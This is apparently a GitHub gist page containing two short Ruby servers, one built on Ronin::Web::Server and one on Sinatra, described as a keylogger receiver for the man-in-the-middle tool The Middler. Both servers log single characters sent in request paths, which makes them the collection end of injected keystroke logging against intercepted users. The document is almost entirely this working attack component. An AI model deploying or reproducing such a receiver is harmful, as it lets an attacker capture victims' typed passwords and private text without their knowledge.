Skip to content

Instantly share code, notes, and snippets.

@postmodern
Created March 23, 2009 09:17
Show Gist options
  • Save postmodern/83482 to your computer and use it in GitHub Desktop.
Save postmodern/83482 to your computer and use it in GitHub Desktop.
A Keylogger receiver for The Middler using Ronin::Web::Server or Sinatra
gem 'ronin-web'
require 'ronin/web/server'
require 'uri'
include Ronin
Web::Server.start do
paths_like(/^\/(.|%[0-9a-fA-F]{1,2})$/) do |env|
char = URI.decode(env['PATH_INFO'][1..-1])
puts "got char: #{char.dump}"
[200, {:content_type => 'text/css'}, []]
end
end
require 'sinatra'
get "/:char" do |char|
char = URI.decode(char)
puts "got char: #{char.dump}" if char.length == 1
""
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment